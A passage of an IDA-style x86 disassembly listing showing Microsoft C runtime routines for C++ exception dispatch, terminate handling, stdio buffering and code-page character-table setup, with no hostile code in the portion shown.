arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	8
		push	offset stru_427F38
		call	__SEH_prolog
		mov	esi, ecx
		mov	eax, [ebp+arg_4]
		mov	edi, edx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	loc_418B4E
		cmp	byte ptr [ecx+8], 0
		jz	loc_418B4E
		mov	ecx, [eax+8]
		test	ecx, ecx
		jnz	short loc_418A20
		test	byte ptr [eax+3], 80h
		jz	loc_418B4E


loc_418A20:				; CODE XREF: sub_4189E4+30j
		mov	eax, [eax]
		test	eax, eax
		js	short loc_418A2A
		lea	edi, [ecx+edi+0Ch]


loc_418A2A:				; CODE XREF: sub_4189E4+40j
		and	[ebp+ms_exc.disabled], 0
		push	1
		push	dword ptr [ebx+18h]
		test	al, 8
		jz	short loc_418A6C
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		mov	eax, [ebx+18h]
		mov	[edi], eax


loc_418A5D:				; CODE XREF: sub_4189E4+D1j
		lea	ecx, [esi+8]
		call	sub_418820
		mov	[edi], eax
		jmp	loc_418B4A
; ---------------------------------------------------------------------------


loc_418A6C:				; CODE XREF: sub_4189E4+51j
		test	byte ptr [esi],	1
		jz	short loc_418AB7
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B45
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41BC70
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_418B4A
		mov	eax, [edi]
		test	eax, eax
		jz	loc_418B4A
		jmp	short loc_418A5D
; ---------------------------------------------------------------------------


loc_418AB7:				; CODE XREF: sub_4189E4+8Bj
		cmp	dword ptr [esi+18h], 0
		jnz	short loc_418AF0
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	dword ptr [esi+14h]
		lea	ecx, [esi+8]
		mov	eax, [ebx+18h]
		call	sub_418820
		push	eax
		push	edi
		call	sub_41BC70
		add	esp, 0Ch
		jmp	short loc_418B4A
; ---------------------------------------------------------------------------


loc_418AF0:				; CODE XREF: sub_4189E4+D7j
		call	sub_41CDC5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	1
		push	edi
		call	sub_41CDE1
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		push	dword ptr [esi+18h]
		call	sub_41CDFD
		pop	ecx
		test	eax, eax
		jz	short loc_418B45
		mov	eax, [ebx+18h]
		lea	ecx, [esi+8]
		test	byte ptr [esi],	4
		jz	short loc_418B34
		push	1
		call	sub_418820
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_413ACE
		jmp	short loc_418B4A
; ---------------------------------------------------------------------------


loc_418B34:				; CODE XREF: sub_4189E4+13Bj
		call	sub_418820
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_413ACE
		jmp	short loc_418B4A
; ---------------------------------------------------------------------------


loc_418B45:				; CODE XREF: sub_4189E4+5Cj
					; sub_4189E4+6Ej ...
		call	sub_418F40


loc_418B4A:				; CODE XREF: sub_4189E4+83j
					; sub_4189E4+C1j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418B4E:				; CODE XREF: sub_4189E4+1Bj
					; sub_4189E4+25j ...
		call	__SEH_epilog
		retn
sub_4189E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B54	proc near		; DATA XREF: .rdata:stru_427F38o
		xor	eax, eax
		inc	eax
		retn
sub_418B54	endp

; ---------------------------------------------------------------------------


loc_418B58:				; DATA XREF: .rdata:stru_427F38o
		mov	esp, [ebp-18h]
		jmp	sub_418F0B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B60	proc near		; CODE XREF: sub_418BC7+A2p
					; sub_418C87+17Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		test	ecx, ecx
		jz	short loc_418B74
		push	ebx
		push	[ebp+arg_0]
		mov	edx, esi
		call	sub_4189E4
		pop	ecx
		pop	ecx


loc_418B74:				; CODE XREF: sub_418B60+5j
		cmp	[ebp+arg_14], 0
		push	[ebp+arg_0]
		jnz	short loc_418B80
		push	esi
		jmp	short loc_418B83
; ---------------------------------------------------------------------------


loc_418B80:				; CODE XREF: sub_418B60+1Bj
		push	[ebp+arg_14]


loc_418B83:				; CODE XREF: sub_418B60+1Ej
		call	sub_413AD5
		push	dword ptr [edi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_41870D
		mov	eax, [edi+4]
		push	100h
		push	[ebp+arg_10]
		inc	eax
		push	[ebp+arg_C]
		mov	[esi+8], eax
		push	[ebp+arg_4]
		mov	ecx, [ebx+0Ch]
		push	esi
		push	[ebp+arg_0]
		call	sub_41883D
		add	esp, 28h
		test	eax, eax
		jz	short loc_418BC5
		push	esi
		push	eax
		call	sub_413A9E


loc_418BC5:				; CODE XREF: sub_418B60+5Cj
		pop	ebp
		retn
sub_418B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC7	proc near		; CODE XREF: sub_418C87+1D3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi], 80000003h
		jz	loc_418C84
		call	sub_415456
		cmp	dword ptr [eax+74h], 0
		jz	short loc_418C06
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_413D52
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_418C84


loc_418C06:				; CODE XREF: sub_418BC7+1Ej
		mov	esi, [ebp+arg_14]
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_413BF2
		mov	edi, eax
		mov	eax, [ebp+var_4]
		add	esp, 14h
		cmp	eax, [ebp+var_8]
		jnb	short loc_418C83
		push	ebx


loc_418C2C:				; CODE XREF: sub_418BC7+B9j
		cmp	esi, [edi]
		jl	short loc_418C74
		cmp	esi, [edi+4]
		jg	short loc_418C74
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_418C4D
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_418C74


loc_418C4D:				; CODE XREF: sub_418BC7+7Ej
		mov	esi, [ebp+arg_4]
		push	1
		push	[ebp+arg_1C]
		lea	ebx, [eax-10h]
		push	[ebp+arg_18]
		xor	ecx, ecx
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_418B60
		mov	esi, [ebp+arg_14]
		add	esp, 1Ch


loc_418C74:				; CODE XREF: sub_418BC7+67j
					; sub_418BC7+6Cj ...
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		add	edi, 14h
		cmp	eax, [ebp+var_8]
		jb	short loc_418C2C
		pop	ebx


loc_418C83:				; CODE XREF: sub_418BC7+62j
		pop	edi


loc_418C84:				; CODE XREF: sub_418BC7+Fj
					; sub_418BC7+3Dj
		pop	esi
		leave
		retn
sub_418BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C87	proc near		; CODE XREF: sub_418E69+93p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		and	byte ptr [ebp+var_1C], 0
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		jl	short loc_418CA7
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_418CAC


loc_418CA7:				; CODE XREF: sub_418C87+16j
		call	sub_418F40


loc_418CAC:				; CODE XREF: sub_418C87+1Ej
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx], 0E06D7363h
		push	esi
		push	edi
		jnz	loc_418E3E
		cmp	dword ptr [ebx+10h], 3
		mov	edi, 19930520h
		jnz	short loc_418D38
		cmp	[ebx+14h], edi
		jnz	short loc_418D38
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_418D38
		call	sub_415456
		cmp	dword ptr [eax+78h], 0
		jz	loc_418E36
		call	sub_415456
		mov	esi, [eax+78h]
		mov	[ebp+arg_0], esi
		call	sub_415456
		mov	eax, [eax+7Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_1C], 1
		call	sub_41CDC5
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_418D10
		call	sub_418F40


loc_418D10:				; CODE XREF: sub_418C87+82j
		cmp	dword ptr [esi], 0E06D7363h
		jnz	loc_418E3B
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_418D35
		cmp	[eax+14h], edi
		jnz	short loc_418D35
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_418D35
		call	sub_418F40


loc_418D35:				; CODE XREF: sub_418C87+9Cj
					; sub_418C87+A1j ...
		mov	ebx, [ebp+arg_0]


loc_418D38:				; CODE XREF: sub_418C87+40j
					; sub_418C87+45j ...
		cmp	dword ptr [ebx], 0E06D7363h
		jnz	loc_418E3E
		cmp	dword ptr [ebx+10h], 3
		jnz	loc_418E3E
		cmp	[ebx+14h], edi
		jnz	loc_418E3E
		mov	esi, [ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_413BF2
		mov	ecx, [ebp+var_8]
		add	esp, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jnb	loc_418E26
		jmp	short loc_418D85
; ---------------------------------------------------------------------------


loc_418D82:				; CODE XREF: sub_418C87+199j
		mov	esi, [ebp+var_18]


loc_418D85:				; CODE XREF: sub_418C87+F9j
		cmp	[eax], esi
		jg	loc_418E11
		cmp	esi, [eax+4]
		jg	short loc_418E11
		mov	ecx, [eax+0Ch]
		test	ecx, ecx
		mov	esi, [eax+10h]
		mov	[ebp+var_14], ecx
		jle	short loc_418E11


loc_418D9F:				; CODE XREF: sub_418C87+15Bj
		mov	ecx, [ebx+1Ch]
		mov	ecx, [ecx+0Ch]
		lea	edx, [ecx+4]
		mov	ecx, [ecx]
		test	ecx, ecx
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], ecx
		jle	short loc_418DD8


loc_418DB4:				; CODE XREF: sub_418C87+14Cj
		mov	eax, [ebp+var_C]
		mov	edi, [eax]
		push	dword ptr [ebx+1Ch]
		mov	[ebp+var_24], edi
		call	sub_4186A0
		test	eax, eax
		pop	ecx
		jnz	short loc_418DE6
		dec	[ebp+var_10]
		add	[ebp+var_C], 4
		cmp	[ebp+var_10], eax
		jg	short loc_418DB4
		mov	eax, [ebp+var_4]


loc_418DD8:				; CODE XREF: sub_418C87+12Bj
		dec	[ebp+var_14]
		add	esi, 10h
		cmp	[ebp+var_14], 0
		jg	short loc_418D9F
		jmp	short loc_418E11
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418C87+140j
		push	[ebp+var_1C]
		mov	edi, [ebp+var_4]
		push	[ebp+arg_1C]
		mov	ecx, [ebp+var_24]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		mov	ebx, esi
		mov	esi, [ebp+arg_4]
		call	sub_418B60
		mov	ebx, [ebp+arg_0]
		add	esp, 1Ch
		mov	eax, edi


loc_418E11:				; CODE XREF: sub_418C87+100j
					; sub_418C87+109j ...
		inc	[ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	eax, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jb	loc_418D82


loc_418E26:				; CODE XREF: sub_418C87+F3j
		cmp	[ebp+arg_14], 0
		jz	short loc_418E36
		push	1
		push	ebx
		call	sub_4187DB
		pop	ecx
		pop	ecx


loc_418E36:				; CODE XREF: sub_418C87+56j
					; sub_418C87+1A3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418C87+8Fj
		mov	ebx, [ebp+arg_0]


loc_418E3E:				; CODE XREF: sub_418C87+31j
					; sub_418C87+B7j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_418E64
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_418BC7
		add	esp, 20h
		jmp	short loc_418E36
; ---------------------------------------------------------------------------


loc_418E64:				; CODE XREF: sub_418C87+1BBj
		jmp	sub_418F0B
sub_418C87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E69	proc near		; CODE XREF: .text:00413B48p
					; .text:00413B78p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	edi
		and	eax, 1FFFFFFFh
		mov	edi, 19930520h
		cmp	eax, edi
		jz	short loc_418E86
		call	sub_418F40


loc_418E86:				; CODE XREF: sub_418E69+16j
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_418EAE
		cmp	dword ptr [esi+4], 0
		jz	short loc_418F04
		cmp	[ebp+arg_14], 0
		jnz	short loc_418F04
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41870D
		add	esp, 10h
		jmp	short loc_418F04
; ---------------------------------------------------------------------------


loc_418EAE:				; CODE XREF: sub_418E69+24j
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_418F04
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_418EE8
		cmp	[eax+14h], edi
		jbe	short loc_418EE8
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_418EE8
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_418F07
; ---------------------------------------------------------------------------


loc_418EE8:				; CODE XREF: sub_418E69+51j
					; sub_418E69+56j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C87
		add	esp, 20h


loc_418F04:				; CODE XREF: sub_418E69+2Aj
					; sub_418E69+30j ...
		xor	eax, eax
		inc	eax


loc_418F07:				; CODE XREF: sub_418E69+7Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418E69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F0B	proc near		; CODE XREF: sub_4186EF+19j
					; .text:0041881Bj ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041CE15 SIZE 00000018 BYTES

		push	8
		push	offset stru_427F48
		call	__SEH_prolog
		call	sub_415456
		cmp	dword ptr [eax+6Ch], 0
		jz	short loc_418F3B
		and	[ebp+ms_exc.disabled], 0
		call	sub_415456
		call	dword ptr [eax+6Ch]
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F30:				; DATA XREF: .rdata:stru_427F48o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_418F34:				; DATA XREF: .rdata:stru_427F48o
		mov	esp, [ebp+ms_exc.old_esp]


loc_418F37:				; CODE XREF: sub_418F0B+23j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418F3B:				; CODE XREF: sub_418F0B+15j
		jmp	loc_41CE15
sub_418F0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F40	proc near		; CODE XREF: sub_413BF2+23p
					; sub_413BF2:loc_413C5Cp ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_427F58
		call	__SEH_prolog
		mov	eax, off_42CE40
		test	eax, eax
		jz	short loc_418F68
		and	[ebp+ms_exc.disabled], 0
		call	eax ; sub_418F0B
		jmp	short loc_418F64
; ---------------------------------------------------------------------------


loc_418F5D:				; DATA XREF: .rdata:stru_427F58o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_418F61:				; DATA XREF: .rdata:stru_427F58o
		mov	esp, [ebp+ms_exc.old_esp]


loc_418F64:				; CODE XREF: sub_418F40+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418F68:				; CODE XREF: sub_418F40+13j
		jmp	sub_418F0B
sub_418F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F70	proc near		; CODE XREF: sub_413D01+3Dp
					; sub_41870D+68p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_413ED1
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_418FAF
		mov	ecx, 2


loc_418FAF:				; CODE XREF: sub_418F70+38j
		push	ecx
		call	sub_413ED1
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_418F70	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FBC	proc near		; CODE XREF: sub_41414F+1Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41AA50
		test	eax, eax
		pop	ecx
		jz	short loc_419040
		cmp	esi, offset dword_42C920
		jnz	short loc_418FDA
		xor	eax, eax
		jmp	short loc_418FE5
; ---------------------------------------------------------------------------


loc_418FDA:				; CODE XREF: sub_418FBC+18j
		cmp	esi, offset dword_42C940
		jnz	short loc_419040
		xor	eax, eax
		inc	eax


loc_418FE5:				; CODE XREF: sub_418FBC+1Cj
		inc	dword_479EB8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_419040
		push	ebx
		push	edi
		lea	edi, ds:47A01Ch[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_419026
		push	ebx
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_419026
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_419033
; ---------------------------------------------------------------------------


loc_419026:				; CODE XREF: sub_418FBC+48j
					; sub_418FBC+55j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx


loc_419033:				; CODE XREF: sub_418FBC+68j
		or	word ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419040:				; CODE XREF: sub_418FBC+10j
					; sub_418FBC+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_418FBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_419044	proc near		; CODE XREF: sub_41414F+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_41906D
		push	esi
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41906C
		push	esi
		call	sub_41644D
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx


loc_41906C:				; CODE XREF: sub_419044+10j
		pop	esi

locret_41906D:				; CODE XREF: sub_419044+5j
		retn
sub_419044	endp


; =============== S U B	R O U T	I N E =======================================



sub_41906E	proc near		; CODE XREF: sub_4192C7+FFp
					; sub_4192C7+149p
		sub	eax, 3A4h
		jz	short loc_419097
		sub	eax, 4
		jz	short loc_419091
		sub	eax, 0Dh
		jz	short loc_41908B
		dec	eax
		jz	short loc_419085
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419085:				; CODE XREF: sub_41906E+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41908B:				; CODE XREF: sub_41906E+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_419091:				; CODE XREF: sub_41906E+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_419097:				; CODE XREF: sub_41906E+5j
		mov	eax, 411h
		retn
sub_41906E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41909D	proc near		; CODE XREF: sub_4192C7:loc_41943Cp
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_47A400
		rep stosd
		stosb
		xor	eax, eax
		mov	dword_47A504, eax
		mov	dword_47A3F0, eax
		mov	dword_47A3E8, eax
		mov	edi, offset word_47A510
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41909D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190C6	proc near		; CODE XREF: sub_4192C7:loc_419441p

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	dword_47A504
		call	ds:dword_41F18C	; GetCPInfo
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_419206
		xor	eax, eax


loc_4190FB:				; CODE XREF: sub_4190C6+3Fj
		mov	[ebp+eax+var_118], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4190FB
		mov	al, [ebp+var_12]
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_41914B
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi


loc_41911A:				; CODE XREF: sub_4190C6+81j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_419141
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_419141:				; CODE XREF: sub_4190C6+5Cj
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_41911A
		pop	edi
		pop	ebx


loc_41914B:				; CODE XREF: sub_4190C6+4Dj
		push	0
		push	dword_47A3E8
		lea	eax, [ebp+var_518]
		push	dword_47A504
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_41AF01
		push	0
		push	dword_47A504
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	dword_47A3E8
		call	sub_4182E4
		push	0
		push	dword_47A504
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	dword_47A3E8
		call	sub_4182E4
		add	esp, 5Ch
		xor	eax, eax


loc_4191C0:				; CODE XREF: sub_4190C6+13Cj
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_4191E3
		or	byte_47A401[eax], 10h
		mov	cl, [ebp+eax+var_218]


loc_4191DB:				; CODE XREF: sub_4190C6+130j
		mov	byte_47A520[eax], cl
		jmp	short loc_4191FF
; ---------------------------------------------------------------------------


loc_4191E3:				; CODE XREF: sub_4190C6+105j
		test	cl, 2
		jz	short loc_4191F8
		or	byte_47A401[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_4191DB
; ---------------------------------------------------------------------------


loc_4191F8:				; CODE XREF: sub_4190C6+120j
		and	byte_47A520[eax], 0


loc_4191FF:				; CODE XREF: sub_4190C6+11Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_4191C0
		jmp	short loc_41924A
; ---------------------------------------------------------------------------


loc_419206:				; CODE XREF: sub_4190C6+2Dj
		xor	eax, eax


loc_419208:				; CODE XREF: sub_4190C6+182j
		cmp	eax, 41h
		jb	short loc_419226
		cmp	eax, 5Ah
		ja	short loc_419226
		or	byte_47A401[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41921E:				; CODE XREF: sub_4190C6+176j
		mov	byte_47A520[eax], cl
		jmp	short loc_419245
; ---------------------------------------------------------------------------


loc_419226:				; CODE XREF: sub_4190C6+145j
					; sub_4190C6+14Aj
		cmp	eax, 61h
		jb	short loc_41923E
		cmp	eax, 7Ah
		ja	short loc_41923E
		or	byte_47A401[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41921E
; ---------------------------------------------------------------------------


loc_41923E:				; CODE XREF: sub_4190C6+163j
					; sub_4190C6+168j
		and	byte_47A520[eax], 0


loc_419245:				; CODE XREF: sub_4190C6+15Ej
		inc	eax
		cmp	eax, esi
		jb	short loc_419208


loc_41924A:				; CODE XREF: sub_4190C6+13Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_4182D6
		leave
		retn
sub_4190C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419258	proc near		; CODE XREF: sub_4195CB+1Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_427F68
		call	__SEH_prolog
		push	0Dh
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_415456
		mov	edi, eax
		mov	[ebp+var_1C], edi
		mov	esi, [edi+60h]
		mov	[ebp+var_20], esi
		cmp	esi, dword_47A3EC
		jz	short loc_4192AA
		test	esi, esi
		jz	short loc_419297
		dec	dword ptr [esi]
		jnz	short loc_419297
		push	esi
		call	sub_412FE4
		pop	ecx


loc_419297:				; CODE XREF: sub_419258+32j
					; sub_419258+36j
		mov	eax, dword_47A3EC
		mov	[edi+60h], eax
		mov	esi, dword_47A3EC
		mov	[ebp+var_20], esi
		inc	dword ptr [esi]


loc_4192AA:				; CODE XREF: sub_419258+2Ej
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4192BE
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_419258	endp


; =============== S U B	R O U T	I N E =======================================



sub_4192BB	proc near		; DATA XREF: .rdata:stru_427F68o
		mov	esi, [ebp-20h]
sub_4192BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4192BE	proc near		; CODE XREF: sub_419258+56p
		push	0Dh
		call	sub_41686D
		pop	ecx
		retn
sub_4192BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192C7	proc near		; CODE XREF: sub_41945D+9Fp

var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
